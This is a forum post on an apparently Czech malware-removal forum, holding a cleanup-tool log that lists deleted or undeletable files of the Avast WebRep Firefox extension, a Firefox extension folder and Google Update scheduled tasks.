c:\program files\AVAST Software\Avast\WebRep\FF\content\libs\protobuf.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\libs\query.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\libs\wrc_gpb.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\ar\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\be\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\bg\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\bn\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\ca\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\cs\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\da\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\de\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\el\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\en\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\en_GB\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\es\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\et\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\fa\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\fi\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\fr\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\he\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\hi\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\hr\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\hu\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\id\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\it\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\ja\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\ko\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\lv\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\ms\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\nb\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\nl\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\pl\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\pt_BR\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\pt_PT\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\ro\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\ru\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\sk\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\sl\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\sr\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\sv\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\th\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\tr\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\uk\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\ur\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\vi\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\zh_CN\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\locale\zh_TW\messages.json
c:\program files\AVAST Software\Avast\WebRep\FF\content\log.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\messageProxy.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\middle.css
c:\program files\AVAST Software\Avast\WebRep\FF\content\modules\Utils.jsm
c:\program files\AVAST Software\Avast\WebRep\FF\content\options.html
c:\program files\AVAST Software\Avast\WebRep\FF\content\overlay.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\overlay.old.xul
c:\program files\AVAST Software\Avast\WebRep\FF\content\overlay.xul
c:\program files\AVAST Software\Avast\WebRep\FF\content\pbj.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\phishingContent.html
c:\program files\AVAST Software\Avast\WebRep\FF\content\protobuf.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\query.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\ratings.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\ReqBlocker.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\rules.js
c:\program files\AVAST Software\Avast\WebRep\FF\content\siteCorrectBarContent.html
c:\program files\AVAST Software\Avast\WebRep\FF\content\siteCorrectContent.html
c:\program files\AVAST Software\Avast\WebRep\FF\content\wrc_gpb.js
c:\program files\AVAST Software\Avast\WebRep\FF\defaults\preferences\pref.js
c:\program files\AVAST Software\Avast\WebRep\FF\dump.html
c:\program files\AVAST Software\Avast\WebRep\FF\chrome.manifest
c:\program files\AVAST Software\Avast\WebRep\FF\install.rdf
c:\program files\AVAST Software\Avast\WebRep\FF\locale\ar-SA\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\ar-SA\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\be-BY\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\be-BY\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\bg-BG\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\bg-BG\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\ca-ES\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\ca-ES\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\cs-CZ\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\cs-CZ\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\da-DK\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\da-DK\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\de-DE\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\de-DE\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\el-GR\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\el-GR\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\en-GB\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\en-GB\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\en-US\about.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\en-US\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\en-US\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\es-ES\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\es-ES\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\et-EE\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\et-EE\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\fi-FI\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\fi-FI\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\fr-FR\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\fr-FR\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\he-IL\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\he-IL\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\hr-HR\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\hr-HR\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\hu-HU\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\hu-HU\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\id-ID\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\id-ID\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\it-IT\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\it-IT\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\ja-JP\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\ja-JP\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\ko-KR\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\ko-KR\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\nb-NO\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\nb-NO\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\nl-NL\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\nl-NL\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\pl-PL\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\pl-PL\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\pt-BR\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\pt-BR\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\pt-PT\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\pt-PT\wrc.properties
c:\program files\AVAST Software\Avast\WebRep\FF\locale\ro-RO\wrc.dtd
c:\program files\AVAST Software\Avast\WebRep\FF\locale\ro-RO\wrc.properties
c:\program files\Mozilla Firefox\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}
c:\program files\Mozilla Firefox\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}\icon.png
c:\program files\Mozilla Firefox\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}\install.rdf
c:\program files\Mozilla Firefox\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}\preview.png
c:\windows\Tasks\GoogleUpdateTaskMachineCore.job
c:\windows\Tasks\GoogleUpdateTaskMachineUA.job
c:\program files\AVAST Software\Avast\WebRep\FF . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\locale\ru-RU\wrc.dtd . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\locale\ru-RU\wrc.properties . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\locale\sk-SK\wrc.dtd . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\locale\sk-SK\wrc.properties . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\locale\sl-SI\wrc.dtd . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\locale\sl-SI\wrc.properties . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\locale\sv-SE\wrc.dtd . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\locale\sv-SE\wrc.properties . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\locale\th-TH\wrc.dtd . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\locale\th-TH\wrc.properties . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\locale\tr-TR\wrc.dtd . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\locale\tr-TR\wrc.properties . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\locale\uk-UA\wrc.dtd . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\locale\uk-UA\wrc.properties . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\locale\ur-PK\wrc.dtd . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\locale\ur-PK\wrc.properties . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\locale\vi-VN\wrc.dtd . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\locale\vi-VN\wrc.properties . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\locale\zh-CN\wrc.dtd . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\locale\zh-CN\wrc.properties . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\locale\zh-TW\wrc.dtd . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\locale\zh-TW\wrc.properties . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\avast_logo.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\background-body.jpg . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\background-sitecorrect.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\close.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 16x16px\green1-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 16x16px\green2-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 16x16px\green3-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 16x16px\grey0-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 16x16px\grey3-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 16x16px\orange1-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 16x16px\orange2-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 16x16px\orange3-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 16x16px\red1-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 16x16px\red2-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 16x16px\red3-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 16x16px\yellow1-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 16x16px\yellow2-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 16x16px\yellow3-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 24x24px\green1-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 24x24px\green2-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 24x24px\green3-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 24x24px\grey0-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 24x24px\grey3-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 24x24px\orange1-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 24x24px\orange2-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 24x24px\orange3-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 24x24px\red1-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 24x24px\red2-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 24x24px\red3-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 24x24px\yellow1-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 24x24px\yellow2-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\ico 24x24px\yellow3-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\icons\close.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\icons\green1.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\icons\green2.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\icons\green3.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\icons\grey.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\icons\check-priority.jp . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\icons\check-priority.jpg . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\icons\orange1.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\icons\orange2.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\icons\orange3.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\icons\red1.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\icons\red2.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\icons\red3.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\icons\shop-icon-big.jp . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\icons\shop-icon-big.jpg . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\icons\shop-icon-small.jp . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\icons\shop-icon-small.jpg . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\logo.jpg . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\overlay.css . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\background-body.jpg . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\background-body.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\background-header.jpg . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\background-right-bottom.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\background-right-top.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\background-right.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\bg-window.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\Button-1.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\button-middle.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\close-hover.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\close.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\corner-left-bottom.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\corner-left-top.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\corner-right-bottom.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\corner-right-top.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\corporate-small-disable.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\corporate-small-selected.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\corporate.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\drugs-small-disable.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\drugs-small-selected.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\drugs.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\gambling-small-disable.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\gambling-small-selected.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\gambling.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\green-1.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\green-2.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\green-3.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\green-hover.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\green-selected.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\green.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\green1-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\green1-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\green1-small.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\green2-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\green2-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\green2-small.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\green3-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\green3-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\green3-small.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\grey-0.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\grey-3.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\grey-small.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\grey0-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\grey0-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\grey3-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\grey3-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\horizontal-line-white.jpg . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\horizontal-line.jpg . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\icon_incorrect.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\illegal-small-disable.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\illegal-small-selected.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\illegal.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\it-small-disable.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\it-small-selected.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\it.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\kenny.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\limet-hover.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\limet-selected.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\limet.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\line-dark-horizontal.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\line-light-horizontal.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\logo.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\news-small-disable.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\news-small-selected.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\news.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\orange-hover.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\orange-selected.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\orange.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\pornography-small-disable.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\pornography-small-selected.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\pornography.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\red-1-108.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\red-1.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\red-2.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\red-3.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\red-hover.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\red-selected.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\red.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\red1-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\red1-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\red1-small.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\red2-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\red2-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\red2-small.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\red3-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\red3-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\red3-small.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\shopping-small-disable.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\shopping-small-selected.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\shopping.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\social-small-disable.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\social-small-selected.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\social.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\vertical-line.jpg . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\violence-small-disable.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\violence-small-selected.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\violence.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\Warning.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\window-wrc.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\yellow-1.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\yellow-2.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\yellow-3.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\yellow-hover.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\yellow-selected.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\yellow.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\yellow1-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\yellow1-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\yellow1-small.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\yellow2-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\yellow2-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\yellow2-small.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\yellow3-16.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\yellow3-24.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\png\yellow3-small.png . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\popup.new.css . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\skin\wrc ico 16x16px a 24x24px.zip . . . . nemohl být smazán
c:\program files\AVAST Software\Avast\WebRep\FF\test.html . . . . nemohl být smazán

((((((((((((((((((((((((( Soubory vytvořené od 2013-12-04 do 2014-01-04 )))))))))))))))))))))))))))))))

Antivirus94 · #7 Příspěvek od **Antivirus94** » 04 led 2014 22:35

